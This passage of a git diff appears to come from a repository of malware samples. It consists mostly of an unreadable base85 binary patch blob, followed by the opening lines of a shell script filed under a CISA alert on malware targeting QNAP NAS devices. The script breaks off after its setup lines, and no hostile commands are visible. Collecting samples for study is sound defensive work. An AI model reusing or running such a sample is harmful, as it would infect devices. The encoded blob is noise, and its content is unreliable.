z)lE~5l7{|;4%}jE{=E~%)U8xoqON!bE!L^kv69@ph(8t>OJru-l$W9jUVbbfZ@sz+sQ{cm$n3ZVdZ#d^Zg&K z^u`*Ic`rzqD`B1!#atD{u#P;fyXfx}gIu`{sAiD?f^`q`2>y_5;C5*^7iW?Mp^X$x z(ypq51RmHK40`MFiO>}$q`Sb!W8U7DOk0k%yckRU`nj(0B-eXjs&tztn?6Er3^Hk7 z4#2aeQ%F#ar=(=q>jr%K$0ITKFc;{84JRnp|n+PtHy z# zS9_i?8NL+q1kW6(G-GQui6Ji$ZVH||Y)CRPJZ((E`PNV^IR;ED>LlOUi^hi4Ub-s& zZtPVc_`Z>M-6=K8S>Q)W@1WCh_seC_IwO$nTl5NcLiCR9a<#_s=qYbu4}Q#VLeKzh7NQyYuSRq_YnS?sjBlWhhw0yMQMEus#|#$% z4OC9!mcxoEmiCYhS}_M;KPnOQ{DawbKLaqDcfa?+R1|AC*o;sO?B3`DG-e0awlf4* zv==Q{9_3&MO;7yLqIw2>AWY^?@i}X+VtK%ggxNa_Oq4sLzmJMU+4X>65Km5@Toz45 z2D~uCZdrT|SlMzGoi~H6MWBaf^fQ5;O4NV5-)()}WIc8`j%Vvul{EEc^z z!7!nWcLEU@T!t-$)C3Buw63+qC7wlRWiOXgjO%@FfR`mr(paAt5x0rsr|Pw)lJ-RTqBWs&FrWYF0K<$IqHy;L5vO^Vh}f`;oR^}QIfQq74%H^=MB5!( zQ&qBy>unY+ZJptR)Y?*(my75HXqW->sqboB*l}ElqC6eK#h7ktuq&+eWo3)T{x{7x zN$qyv6@lanr_V+=D%PYk<90xN5}fU1C3W$_g|jkG{4~55K!CGqgd$Z4m~|0>VRl;k zv@kNP(`TPKGe;rU3}j#KgTI))?N0{`_c8phtW|}rHbNFZUYeQKt=PLT^k$cxf-L&o^I$gzzU& z^FKz?pH!6rz5xlP8mUTQDBYa(Xvoqxa<34f20R(zb+w zjrBAf`YP;zr1fs3ng}&jKGn5ui;%E<$^*+fq3WxeE+&3n&NFhj%65&TsN}CAv@dg6 zr-WhaR>kM2AeC3=%y|j_04^gVyWZBh zn;;a3(^8z!YyHO=#H7WQKo@O>K7lH<;} zxrj=#eub@Vlov|#Y-9$BAz*a%a=b7+cAxdB9>i@f=};Rx45*=G?<^)^px5(fYU0$< z5EO3z8FkdeIbBKkfus#AaWdcw=XKl7yQDnqAb8C&!VNZ5I5wLaWWXK50*?K-8FY2< zf;yvh`8yyb2^vp+m9tijMDI4G7s)^HX`%IbGGk38Z%Z4ckfWaaqIW>PhdAZ(Uzx34 z<-SN-@M(+O^n01AuKx>Y%1)#0WV@+Nod((grQ$wZ!7#qOjT{s&Ee!=^AK!5Y>4yc% zh6FwA9}sS&)41hlSG?3omYO!`q=@35U&n6L8~d-gI%%YB?PrmoF?Xjhr%oWLe2a*| zBP^HFwk8oehik}+eT^Ti?QvW|hLq`6BD(Ghj5=50gH}@LDX&c%K;+N5ouN_beH3#c zga2lO{e~=l`%l+W$@vBM<)eA!(z{?f+K#ArZgjtjwN_{WO8Ol2A@=x4K?hv3ZSecj zF`PCo)Rq>nUFy8O+Jlq`C8%HeNSvp)TWZGzMRFsYvFE)}v22NcbA-i_PiXSL7Sjee6^F9{yVDOuZTYUl@O3wbxvDnZrH9nE8s6QisK%M-Q>n7 zeDaZh5LL`M3g3|zNw%^@WxqXQ+DZ*4zS8O?xP$-*5p1L7!Ifa4kIj#mMh#8oR~Czf z)BZC=CF)>V1271N_KjI7tzCGPp5m#i1>W=i8ACo1Ukwsw7RIw;#)oa(Oyq+PWi^~r z*`5!q38C>no-*9geR`Uu9vkpy>wl037aK*`RdYwOv6R3!*Hl$9hJh?wXRnI7?>n~# ziK3P_B;*0Txep}>d73t`!&H~Wl9li}F4&-5td8}DHxq*>^z!%>BO=e)yjl@4@bN)O zf1$*5loX$OxN)}N6}L28yrO!=*?rk(Wkh)=@wdJHl>LfMpb|m&$rb~HAI7biN}Y{m z0?w68>2CDoj)6iNbY#DpZ3B~fQT@z?>0;FQ1`#fNWFrlytcwT)L$sr_DqAh96tYz$ zj46JtUycvJuGs!K&dIKpl+@%RAXgM>7Rqes?{iY>844*y-#k$_TkJj2pb;rImb%=G zwa-!CUotS>1K+)4hh%5NCm0y>)xsggpJHirw63}t*T76jOWydKY2tL1N+T6IsYTg- zTN3vCug-->n?fSe@jApD+Gfsn&|Mu->dssC1OS6uUW!H5C9wlaDExo43l@B-Tl`NE z<#35{qtKaz8UOZY_(Em3p0_(FFTl}c$~nLMqG4vUU^SnaQprMG{!*(Gplh{BDIGKX z9Z;yL;RuUvLoB*VgT)rs>;v=~Ad)cdtTeLaa-@kt(DRuSafL_-SrhK}AQ_N1gx9Y( zdt1bkazpM!l|D9hZ5DF*Bhjh?dlPh4wDhUdtdAJ$z4%m ziU5xs*MxTOKPt4hxYIcPK+5#}#gOTEhk?^Y=bgnhKNXZnfc{@uIKAAc=a6=A)~^Yk z=-1ZgczZf|Fnu+E1#vt49K?cC5fE$sUT1aA3Z8US)VBIBc%TBymmS*|m&17T{(~vH zwHOE5^Mtqkp=*h2IBJd$HaJGNus#@Skkk93JN|!G$woJ}d>c{7zX}%hp2?B z(aW131Hzhl&pn6Aw@0Fw%X1;aA>xMXfk*y?`Q+RjA@^4ZUJO<3XT4BWjqTXsiQ04T z2=ynQ1yj@=+3cED9b#zo&0YiK9@A|MUOBbkFJb7H>C{+bueDa}5Ua|gJSOkJua#=l zo{^e(N2ef(pijZ6OuXVPEIE@xfV*)3T_H|S!%vtV34N6QA1Crx94E~hp9v^)`qWgG zM~=*W%uMERi$j^#js}|&nnx#A>30f`9G!IP1~69VNi!C(7Owp>O{BdCynX>~3Uo&A zt4p!*(#R-4bqX0B+5hu;q;?GzVK_(5o~-t@DdIXqnA*628pD1cP(ec+T`5dM!(G|jW4PVod0mL?D0Hc3Hz^?Aj z6Y+91WUli&u)2at<5e_m)l87v;>F0+)p_A>&+ey9HI^8vSw=cFa{bQW-W;Py7BX7e zt%!BK??;k;UAlD9&rhsdBlGmEpIRD`t+~y7o|rbA^Hy%a2D&YMgvgS~i`onvKj09A z>V(KU^9DmL#>3?p^ex`J7rN6?Y>?`nxo!pK+KNn&u{Qk_`@9U}PmsBr8`?0tXD4$R zHA({uPbIJBl>%48^L}@Psg3ZASf`NUB_4YA@Er4W^uY1 z{#vy%yH6Chs+2f$XnJN4SW7KK3S!!?czjPP?uT01gJ9Q^{lWMRZegjN3RQGKn_!zl zD*l3^i0qYV z)M@B4Ca1BpQKAW%MKN-_2C_1tD{b<6waBg5`THz^WvwDnN3vX`rZKEQA7Ra|Z<=@| zR7yOGqGEun8Z79~SGyn?mQvi8TFbhtuRsJ9z}b%8eMTo{ut56G; zcqmJbaO?$i060D&C)atUk*@&MY;D#e2U>yruxS{zk6$$JF})6A0x>7vHH?2e+&*U1;42k>Kn;UNTSJSNAQBg~~j zEl8;}2HtH(n+;+*iNsCz?{W5)zcHD1l!kiWM4rLz5kk{l;ZMGA8a6< zc>PvC_xdL38h8g9`!8;i^krWvzr-T2|q;@5{LLn zWmXw1aP!&-WT9pNfkiZ?p?W%~Ug@3>7`6Z>0$jMF2UICE7a<2M{!4gzI0f>KqZ(`X zd*F|s@gmn3KsSy;^lF>!e%*F*u~T?vL!YU7Pl{dLjZQ%!H@oPZv>vx%VaJ%fW8BXF})J1#Cx2Hpi}PW8u#uNLMrG{pRt)8>9apTAd7A ziY|SYH#0&ePE!85JZNq^sWziQ&ifr17nTW{W%ZV4pwmAdGj**dqB>ZbYXcl3<3>@w zT%}lKgBjsS_beyc&dEW-*VPFfa@$b%%2CFdirXMnAJR%|9i2ZiE-JAa1LRM_$8D!7 zY0Hu#*MurDjA-pl)dSzH?TC#+4+~+{0tavq61GyB?hR#wHIV`K*hp!}LZ2GdywbM3 zaQ2?Xg#(QiSw5I_3YN$@PsV&CinsNWxpxp@NOEnGrgPE`zNtt97fjj0tj@^)lGL&k zIU4^gu64}hI<@e{-&tJ+#Zwt!_Gpiot;#Y=E`aX8oj6ZEsdh&7 ztgfm}z(h5FjgMND(OGCHINh>{Sz{=G#*jPbTiN)Jo-6q@u0=HgP^CDer}xDsWQGqp z_TUZW&Mmq9QJUCM$KA=y{|)vm>Y(l`E%)iqqdNmF8E`K?WckX8$P^bk8snxf;;7Z_ z*bua^mNvnCtV}awQOR_lXq9Xhfjzh6A(@_3h=N52=2=QWJo-XoMr=qTc;OZ4@vvOP zrxED6GpS6T#E@wEoXUHoF^rpk$`99hPj0^`_=w~Z@7}i2Lsz;cpQ2n@LpQYl2u1%^ z_;eLnH@E?~Y3{vHH$ou)8%A7xO~9_ws5e%P+zQg|>6lBklJF8Laj22(O3loC=f}|!01hJ4i6wifc<3D; zWH6_)q2=uIr~@gzLFro45HOVgEO;|4wkrrqQBwawkH8NhA#gAm z5)J)6R!r_)@zz^ryw+x#3|n|B0k3m0&o4T>Wy6&T;?~=RPr*DREFEWz8y^<4@baoT zMyI9xk#>TM4Mhn89w|k;-~t|-*ieMF1owb&xAIi;diDju%R&uG!2jo_DYXa{$i!$95f0LqXeY@935vLqh<#_Sp6N4?lUuKPDqKlIZE!N{Xj#^XYlxAeWaU)D zP@@s1e%Q4#S#yWRDaWNQ6g`_kKAt;cJ1TN&=ulG7segN>3bBM|zsO@8NI114rv|=Z z8lultp2bQu#^@hWA(v z0m=?AT!7g3Q&u(O>#KMNQ+1b|Gs;FjGR?CD?exq-sWGu5GU|MoQ2_szymbXRwVt)z7#-U?Cjm_e?S zLw}fNg60VgtW4@R_)3W4%6sVl!Ip+GM7Mdsj_XY!H;4#dWPCRC24%bh0?B*5wip2d z%%_pnC8jj+Z{}FVSw1F11%m_yLB0it<*XmX%$Uzc>#a-@(9cx=6cE*qdNMp~Ioh%K zLJ|OUr(=5OzU4X-987i^yqcs#@4N^WDrHR`mYVC;@2$e-B6pqV?BQBqV-ZMnO*CA< zNy7Zw2GHHeJCSs$r?qF?xQ`=&U>TIP!~KY;!bN3q<{~=q(MHAz^|s_cPsc8P6yZwS zqdI-<2&Fyh?-!*2xn^Hu`^+&^1INE0XD5m*(sP~_IleKjXjRC|B|ZwUdgO47RXTx5S-5$+TG%G|fa2FLHdMDr}eb&*lz|BIG`Vvwb^q-rGdgibpqy2ddh$>g=1 z6tJ=dehqBgL>Gc>Rj0H|z?$HP0BR!PJ)1QarDIP3uMXP!8*(eGyQykN)Bi#6IAq63 zD_t>)u$q%Y^!`xI3*Wqe0ev>M_wp`|7|1FW-$Js>(gH}Ruc}|jVf!@%d=O&7FID{B zLV3!IdlXmD#6sCyof< zUl%{UyYVD=aZ0o$AAiyWmm@7HS~lrlyjWY`e&*ey03>PhTnKs>esd0)tu3?Hfsbp^ zR(ao2St_&!pSXb9I+F0j@Woy4EDb*#R9*sH=AVVBWmjdPL*kuk+x4pLZBbk-uoaZQ zSa@0^rk@Io+0qOWCcAy;Y$iU02KNj5e;#I5+A#+e3y<_}{qn|l6ET}jF%~!APnby2 zHKvnpk*6?OL-93;tI(prl|g=f@v{G^JTqSD(1$Yv(USLUn2xWsVjMGsPq1Pz%o{jy zBMGtenqjUaB-w=|Qxr7X=hxYs)PXKx>1d)n>epg479|cRU{t%I}msiHUPt^H>83C99+h`etgc|Ts+#cV}bO}i1xcJ?oxp8mz?{jURP z)dcsf6g+KzX<>dX3=6TtLsyW~otQOGd)3LzPy<>R`7s0v#9XP~6*#u=I_#dy<9>IY zqueL#ly;SQIPgLF41R0rb-nN*XeNjJ#2`=pxCRIphc=N21GS@9R>~xu{iv~5Qs`fx zT7&2uN%m0LHyaF=$#FH}EgiGg$&^l?Inu*C6arWK(apc;R$p1R;1>kVZ;L`?0lql1 zF)nR%u;}#K#x{vdP5DK%8(7eH)s&9q{TjvHWyBWsr)}npN&+7Nh5p)YumeY()=`eq z_1WK?;f&h~!Kpg2CBU&G?1nwZ3}$HnFP6dW_R?y(E@;bJMt~MQEz$wzx$&x`IVK+V zR-;QEo!xAT^7KMc&K|Q(;N^mr7owd@`%v$t)-2H2p$eSjf8vMx&!G^%br>V`{xL;L zj8(hOYlB}QjkKHo15v;a+nEB-${FDI7eCh$@M;rYC$`jg>(u4H7TY1!^dqJALJSLa6z@4UX zm=WVpGHZM1Ei=UYq4Q^hct!VlRk!>tEgG@DR1E(_C1cJOMd=9ppXH)or%c7yOlB4Y z2iWs}rP`)i^w@4o!$nF$g*c^rfN=(UxQ|D;OB=kb_Puc4?4+vz5;^k6@^hE#uJ7g|UJaqhe)jRCw{zkQ+`-mfzD@ZueemFgM@~A3y zbAvet>=(xgO^v{aB6^3XQgDnw@JT0COT>dPNmHI!)&!$#a)V{}m{dfS(gN=*fk=mL zYhK3PR&3#9BR+qz%aRj=7HQ>tL12796 z=E6pm;H7uF99-aFV!G^m%scHK{eRBx03~%}i^wlgDCL3)sK$hG=ahN4Tg3c6)-cFz zddm5m7Fb@n*jBr)+-eoA6sA8G){A7(e|iPt-JAR~CUgB4O}1oKlh^+fVECl zD0wo>jf)x^E^gb^lFkPT$_YE9HM8S4>ozX(t&U^`KFkd24!XmtNg|rFh63LaEI|Ujaunby62>EnF~T9MMwzP@0I1uoX0^O z@LPtW5=YE;eKZokj_HjV_T|LO2c<7HOP1-eQ=+0P&$_V4LfnmiGp_o9mj=iLg*qtN zRP~UCY|a8pTR>E+zSZSm{=vC2XB_!2q365$iS8LDu7mvE7~ALbS=-^PfrNJ9L>TTn zt7?$4NS?vfl4H++@7zs(qiGo5Q(Lnp4^Fbb&BrPWEk5`%&Ma;Mp6P>d^yA zS(BNDY`#B24fT%ZXC)jAi-%ktHr6}y3pRW3uDu!6*~RX)UAUD$H-ycj#Z@!hgi6~$ z&1AXx$=J$wm?8zs{`fAy!CG-~JmV`e>1CFcMj8=#g)TVA6QmEM5dgFd-+PF|Iw>4% z%6h~zF9YnvB( zkC<(($~;m|$;g-SUtM*zQ~NKm{nVFI}@; zBNK^<9vZ(%c}Eya0OlAGvqyYIl(>dK!leQmLr{a4+w`6(dWy9@{Jhk=TiW^@Z@3SG z(Gnqm#+U-5QVG(Zof2jcfAdIO@YCrvEltqzGa4Tnfj_nS-Tr7sgIAp`$>j>K$RNr& zsWJiZaxyQyk*c)zkEz$XVZ>Aorgf*{gs~Wdf{Yk8&eR=}EtCut+;)LqkD7`8fpo?; zdFm_!?F%=zyDt_loO@FoH(J>&T;Ew-EiiUezHtZvi|TIdG2$Frt@4YOUdxILzx> z)rs{=;`TySsHoa-?X62cHY8-J@S`k1lzOmcf~9JJdZ$TJVB|oGHy$SrB)P@T;h|$2 znJ|@aI%{koK>?BM6Mhbeg??`5lZs4^k>6y0`&o2m+H5I@c+}#lX#A{AKbA6aw1-~ zRdr1JA=_V&F&YoNfnaO9qVV1&HmX^fJ(?WjBzH&3Pad0fFD%UrOjO@QR#E441m%khk63 z63T~`xFzVVM<=yIx{Su{I-3bsT$u9xLE3Eh0MvO=z-kzz#nzNx=|mH&6LRtcZw|uq znQaDNOd+yPgdqMz9$$6W?;eV4ljep(QvxBicMd8-M!6n{R}?$poiI8q*@pW!t|D~A z1=7Dl`wDeH>@v`;gvG~NQK((d2Xt%0o@NK`jmwjz&$~*v9sgffhD5w36n=t%*U3j@ z8XXJM1fn2cm-O!YD(xx6sx)rnMuhuZ%99s@(Y|?pK(D;cgxand2wJY-Y_aK=U1MFA z!Od@zX;kFxAxIOnh;--7mqDIuYSt^iW)~8d1+XCv+PP-R&<%8ZtRK$vUGsoIOOIX& z2{Vu63aG({+l}`vXg@)3ypvvT$Uq2<|JUVx4F zgI3d;NS~v8ND~~bo!F#a^!Hd{b|(2>56sA`a%bA$_9pHMN1>Ij~rsnj9f!CkRZ$x|J%~QM_E~FcPXyUdG??BQ_iJR_R)WF(1Szf1&D%kTr zAfRii4U}M$8Nq1-Ljc*YDGWLaHLR`yZJBbvq7D5%7-bD$Ar+Feh=1=omPbH z2}!rA&RQ6L8Ax=!dHZ#8GWL~X=+xyw7V)}NHg?R5D?e*?Cq8vGJWMh>0sTw&RQKq9 z<4cVSqYsq32{WM$by8L$o^hRp-GFMye!yo#qHUiTP`!XrR;rXxfsk5#4#;nvM-d$L zC^k;M_IrqLkIgA{xbi5}dfYKJ6JYAEe3r#b?9W}N$^HI3B;?UTS_sBboF4|FM^FkU6@e$)|Gl+Z^R$jomtLo`4;MFCrP#!30s96(sX#d6U8pw+>_U7&UtnTpvQ zhefn1t0uD(kUC@VASImocNeRDWUN5y4X}ef+Ezqx7 zFJ>-ww^Y?*!hN$-IE>75bt1w~Rb6`nr9HCYk}=2!%E2v{O&rnnGO3;EEJJ0a_qb* z_rTH9eMg}1M{Z2V4Dq4(2=O?Ya;YXGLE;y6@#IdaaGP2V42jQoD*<^Qu+c$K^d)yk zMg2O+f+7c5#8j{3TW4=Rz6L?b`e^GY0aC302w8bt7;un=+sPGN`ExVH!E-MTkNAL-;%9RgbKn+YHA;|9g$aw^k(u9n zkIQR;p>8Ko47&!DR;&-x+GyThJm$a_a?fzco>i|3fm*(o=2QdkL5#wJQ3bNx58{;+ z^8#b20MEggq;KX{YLvtgDp>4zR5%`aApbQJi7}`_gx)Igrvu$eyJ!{omKbsFf)&db z45kWxCzd6x34@#b_hF?m{Qyu8Dk~zyMs;Jlb;m{DxU@^ zCoPE05uda-Ql~?n9SR3kFd?U--)rVp9&+Q|D)B?K36H<=du35g?d*uQcIs`>EdSw7 z6pPvY9SG*B5Bg$q(NcS<4WtkeoM8j&U=d`rkx;Pz>ocD6;JtD5`Wrb&nZgd6OO$9D z_40ow+NJQ0#L>m$$}cR}dLrzbW+PA2B#?t| zWGrHHOT@oReGBo%6s1Q7$-aB~MbH<)U*NIxzL=e7f||0ffWj&S+rwWOc01e+$W_d0 zKA+1&ydYp1c_o8{BLZF*OtD$Y9TGhCs(cY408&xV7w5!@X*aaz}{-LOs2V!$aZ_i)QodQHFJzWjkh z94MHg$pPL^1)1!J;cFLgiaJmChBGomXBGiq@@1@q*WnC${b4o0eCt91htoaCn+8ai zEL{D8lt6zX!}>S^(aGu9s#Tx(#^`?1<%AOPF9Uu+=)C<>)Eq=zTLPALo@@4Q0%0%> zGZ)-!#5^~5J5&QGNqoKl-*T2O)FKP<65Q|zPE4kankUWwDMCbie^PzxjYZ`5PA%O! zM6S22A)l+L>S}%O*Yz}U#5WNJn_V5UuBd+FX(kA03SIZBMZ!OJm=TuYY(3qQ9tLj0 zKEh}v?1YMbx2Y?uAhwN+iz8Ew!i5S)m1oJw#;+MBx?#yT#?&8}L1a|%ED6j%C@Hh| z5^>72zbGT70QEDGT8dP|s5PM*mQv2qWlu`DOAcHgT2X~RcxQD{5x=fd^Cah-cPMKQ z^TwHzhg01n|B1eLV$wE4kpLxv8F#YB`Acme2Nh&3zOPOYC6y={Fjny*;_oN2dG$Y7FT8r+9>`9&+QoDk_SOB86t3vu_ip z%;Nkw8_Fmpwz`#*t|4YP#6eJr(#`WBiL;c0y+qx1B&pDWNauw0z$&@DA1( zHiLcWO^&H^;D&xI03@%ktbGoe-XLUQj*2%611Ao=yDGfqIwatDRlI#K@Z#P^UG%mo zJk(9CNVhe*W!kABER$6|YCxDFf7L%`zJ8p~{X%X$MBWs|z6v@<4Jfz)gkQ7Wm@zzU zo^f0k@$@v7)D5Un>UYahnjMNsuA2p}Z}w}Bj)CS5r`TiiKZMW7RA z;$g)S8#r1X*rB2Fn@9>67swRpDE`=o>b0Nmud{7d5z)eH&Y-WW1cTwpp9X7ju0_hB z_NMAXqs(f{ebYC}Im72=tV^_)?oycfz*3>{#J6$G_s+S89lA{I+ru(VSHf z_5xsO6Nt@}gONPe+b8~i)l%bkz{dsBCIz!&7t*kVQvu7A+!FbBL{?jXw3#4GMTOpe z&iJ58?*l=|-`@No%8k5;L{v&pN{$yg(4n_I8q@f?rU_&tn6H<&A@N_3nl@V;vsQL% z8!7E@T~Z&ZOdNx0g>N;)mOG&dkB}Vae1iq(cnf}kwaX+`p>=t=%@ut8hf8qS{W5ldhrTn;NUZFM-szpecm_HWO)vb8?1+ z$QHZ|_>lF{(FgxLWV#V4!8djTW70+6;bJUUE=*pXiT~ScM58%-jEj-#5-X)Ii5AYCXwIRx8l z;eha;($q+L**pAh^{LgIu+jT{U4;n^UKhNepQcQ+GoN5gk+xhjT;%M7l92U2(ON#7 z>U1mWC^+)PqxG1cClsFPO5+7Wqw#4(co@LPT}77bw@r_@YMNpU4$s%~Jp-KNU$0A>WbEUw*<;0DNpB1P08+yQj1PSTHTdlH7 z&Kp0)!8<+D-Ej;d|O zAk#9i=faug0&{kgZP)E-#&IYfnjsx5?N#ERjW_XXLt>Nm4PVcTYR|~9zxuLRE_t`H zm+aWxZ(t}RQv^B;8uRx~1P47w<6A;((|gK4&-YH?v_t*Hro{x6-20lmeTSvzGF{&d zUiS}fimEP)`V8FD^lKH5TC~LN@=`{cH!M^f(Y(UQ-d-$MEu6NP$X|pJjWVgVV#S}U zk~v|S|01uC4-)AEj_@3Jg|G8Gvfo*sm{iu2iF&=hyZmju7-sq7?)c;F4U{G7UAj_(zpRz%gK4^$CuZg-K0m@7)3VajP!tpR$TfzP{)rgO4Ge$` zikkdL@`a1m@{1Y=BLkfRcS97Pwxb(F6aN>EcWl$JQF?&lcSU9ZC=AYD&pz)08J_Q= ztq*t}n_l508pO|L+UoGLUR0n?M&|Mxhe*IpG0}qf>?IU;=|W_;+QN#h8YpAAivK?0 zU#+C^PFcjeJV##tX#clxjkV_ULwGaVGZ_3TVvCbbP+=pZRCr+cVi~pS9OI=bp)#JCjLrM_#gAg}qX~I7IKi;dLo>=UNIStzqVB!zAOcqxd%(YUaR~A-ORGL2JG`-S6zfG z$4p=w8ra`|I=)FLmI()Wb}E;DNK0E+Sh?py%bmybc{)XwqWe0{7;nhcvnceF`DA@4mgN7 zy>&c-Lt1hMFGlmdmp8OfCNc)PQw?`Jduqca$JI4dnf>Or1mD)keN1F=wi)m1lv<{V&C6d7krqhzO&vWnbMLSS~Hf@3k$v4UxVr$y%7Y+LHOG z1!Zh+iQ7c_RZ19ifk;vcPs^2K?rX~KMq~)IXmf=Rp+1DgOk^?vxw57hO2iU9osH+{ zJp;$yJV45BTxgQaJ{_3fU54o0f*4M%+(pT*qC?a%9|!`X6kJoj0^=reMBLl1ch_>4 zH8OThD+yf+tBD{s?*#&baySD0$YzjBa2()EG|?g#N&)kf?&N5`QnA{b5d$`BDTw-XSX37%xIjj4k{e{&Ju=O&1|LwO)+w?oQq8**I zOcY-P`1n7*aHBacm)2N%%b;6f@@D_>sRxDDGc~)=lU8?ncYA9VL$bm8(@eK;TQb9V zrgX%uZ&pMWQ9`2a2*sV`*j6@1ufssc26cb6eVMLnY&Ets;zooeWp8muJM`((PTVNT z!}tcr?jIz!5li}DGvSN)mn_adH==dQmMm~yG`V)sVf3}f^G6%n7ebn!=2#jwwFbJj z+BhIKgbfO{8h7?%bV2QmY@a$O_D7Ea&xJd`s@@8j71h8AGMehrbCRo@@y2_XE~{+2 z@hpp-#S+iC*WmG_4#OuU@B=M886Ebt)Fcl(D0*x6g_Yk-@Ow)C%u5#vFOo-=dlGJ~ z@-02v)!=^$7Q50(Iexc>Wgi~Q_4-W-o?|j#gDNw5pCm$_`mzfaq52rj$^jFtrGuph zy$U7WxD=M6tN-n`YPq~Ugp-GU&?DFZg2EU|w>O5U*i5~D#TC@cjF)irka@`*)mS2KWm2+zuOn;ic>)$nX5o3yNs&&jy8NF&PTGU zgwi}SaTO72ubZhPNxsp8Dpja}EB*NJSQ7GDcP)Is7XrrYi)fb^Sa^SZ*xIU$2(~H9 zN9$peCyUoMM1c;y_df1OG+OrA@1$}2hEg`R&;aLGB5PFeURmva4mZu45lUg$0jwGC zgho8RoC6+g(5fy#I_@rz>QA6hQc)kAI8YXx!<}>n+L88$jk1-O4-K}hG{)TDlp7^( zqK!-`6}zPvV)eWhmzJmVugBG}Y`zY^8Gy4XWE#Szi3+vi*UVR+2YmQ|dRrKUkWj$p z-HLK>jx{RWTk2C7fR8dG;eQH$@x1N zj>Gsq`ywb4UOY`7dO(w(C~05A=Uend`lYoFVx>c>&CNb-Ppu*hDa26`BcsRR+l44q z2xSjpjhV*v%DX8=2cIPS7L|%@YmL{&L3=%|*5f;yyZ4N6(Tv!HNIi=U%Nv4q@#9Q? zoEuA`SqAmBqdT-y=~;_Gc-xDlH$#NvaINJ@#n`9&)3MC3GJP0Q+eMz3PCP^*GzK=} zpe$n#BCpwW$tflxmA}rec>qGBMZe`-F$mvzqc?jKj!#P*C+x28*|PJ11TA%BCH=I( z!(S<4YQ#SRY}!BbXc>LVXmLN4Lv>$BTnLow3{zeMCwP$99H+iCc;wTeY5U%3kb&gL z1_xAd!$7&1Br#c%hg>;{WI@nc9nPOczfZA2!MyCpO3kkC>O>eonAI#)aj~~$3&1T? zZZJEbwclh(UAQFCd?`iPKf5+m&ZFTVD6GaUe7;IjHibALruVeaWnlrb<7?y0#Cl?u z@$LbOJVnaK!@HNnmgxpOmimDDSC?%6M`yzIkwq@;20 zRCh54G20M~I~?1VcbHf2%$&Qpo*I`^e0eZepY`az5AsyMt!}n6+Bpnj1Kyg}OlX(p z)195PuJrHt?8&I3M_)ldo;YuH!6Du4RkZdND=ojaGX;36yDTT?dfRaj@=bQF{4-|t z{igOrHQG>Tq1vv3zQdrzLJqN^6(QZ8x#J+tr}^&g=8`0DbrLwk)i(vMp{grlr_tu! zEDiDa)iit}%>`v_^9>W?TG*Z0JI76vaA&(1w`a zx!lw}D#BooNyM2=|MT+ETY?$+rjhHKP=|Qt8V}?Nz1J2b$PH$Auk-`!4WDDLvJ@Z% zJE?`Y?{UTr7eArcuWX%uFWnGZtVLHJu#=6A79FpAB+^g~Rat9pw%ygVq@h`=jOi$- zbZ8(;>_geP&+6P+ElP0N3xHIixd@?hK*^&D+)OK%hfgl>7`x}n4Xp8b1mxP|eP-Rk z=2g0_9x9C!fwTcg&0n;U4=2V)#5v?*f2Ait}^xoJbTC0Lg%bj zyXx5xd8>{BOTQmH<}`Yu&av!%LkI+I?PKMy0V6(Xcg7*A+yqioN-MiM4@qUU}|A+x)dq!Muh+Jw|!cU06(g zo1-h~^aNhGyvfCm10-3hEk-ZrWfSEdCfKfvO_cP zwMNlGbA-j@FA{mDIH~=&h?QY`VVsc$pO| zGOKkAfzHJ|4?0_VWTah!?4WA8$>2GRzT#z6T64^GV=Zi1+5AkAb8I=F3RCfSMO- z29v88cUX>!Hw&~oK2SLIviGaH&XcJ?+YREy&)=Bh!RCtUiZ#R0OzLjkCTq6ylV&Zl zZQlxsW~xl+%yZr;NDpuXExP#oO3FE^;Y|0*VY|b+tZwK$Ut7ET!swRhX~%2sQifvg z2ODWc+n(+aZ}fsZ^jaE{=sEc1vg^pAgg^OmM&s4vQh4qwZn}{|qIc^?V_~v0S1`XN zSkjtj8QLdts${V<8NQ4S;2AFxevy=94IEd2D0K_+(^F}0UNSaq3;xJ{f0k2^6bn~A zK5go(u}WzNK*7$>FZB$lf(j+wJOth`WRKcuwb_2kEa?i=Ow$gWn8;^u;}PZ$ zusy2lp~L0A`GOJel>8Z^`d8Vkqy)Cdjy=gjhXdwb5)Xw5JjDg;`!rj6%oJAM%JD!a zTD?>R6&9>y-uBgP@@yX#@N%0T`>?go+La}iO|6H&dNe)+ZxG*dA}TQz&Ui4@6C&G= zXAzDXlJEs=5M-CMsj<(Uv9OPqcM zOiR1H^UYt2ZMYU*K|nq*bbv#=wng{BrcAxGVZC{s0CPqrjMV`U!t!O(_ce2M^_zvI z#7;EzEu9{)P|GSag>tDvEU9UttxlRszf(tXG|lpHI8K#n5BNkYsiJz?d_TkzV*Z$& zC+tf}sOplN#V5z@VGfy09myT^W^o@h`(DF%9q8Lq?PRkeWi&L8sN3uLXt}NI;r|Lo}N+nubyGKP^h?6 zr{;{)%r3miOtR|f$)jYp<3;Pk)?9tYo&8ipdRwF|%&GkpPC-lYi4}(8-Ts9K4tV+c zo~#gbPJo+(T;*tCA9S-PXxxxCqUqi}nKM-w&JM9Jm8@Oe`#EmH6l}PqZkE6o&ld;y z8Y=oPl#685)75}#`tcz?nwW1wAi)-Dh&g8X6(v~S7LUvf_l|Xx%KwC`eaKq@Ih372xe|EopkN>3qH;jUuoEQ_Qg4#VUCSi~u2n+y# zoUNQ)oLr1e0H8A0Ga&+ zYf~po{X=5njG;{(?Ci|#UHEGkanCeeI z_}mXZ7ba2vmi{Qn{(T6b`pe%*BlAPiN%K=k_!EBTzt^Y7biQ-H-e2UoA9?N{C-`ms zQ84}c5Wt2R|LLz`mieKmVg4!1{RzMG-`B&3>3sL&oGZrpjDA$(-y4|td%u7Cg)y2x z{it(4>i_AN{L6oM?ms;D|GnPdI~e>v=db-6 zp^biY?x24FKm_+E{>n_higQ%O;P?HXFZa9q%m4j+{Tbi2-{VjGwf4`>&wT%UedwR$ JAHHAozW}}^XcYhe literal 0 HcmV?d00001 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d new file mode 100644 index 0000000..359ea06 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3c38e7bb004b000bd90ad94446437096f46140292a138bfc9f7e44dc136bac8d @@ -0,0 +1,936 @@ +#!/bin/sh +ts=1553058000 +PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin" +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && 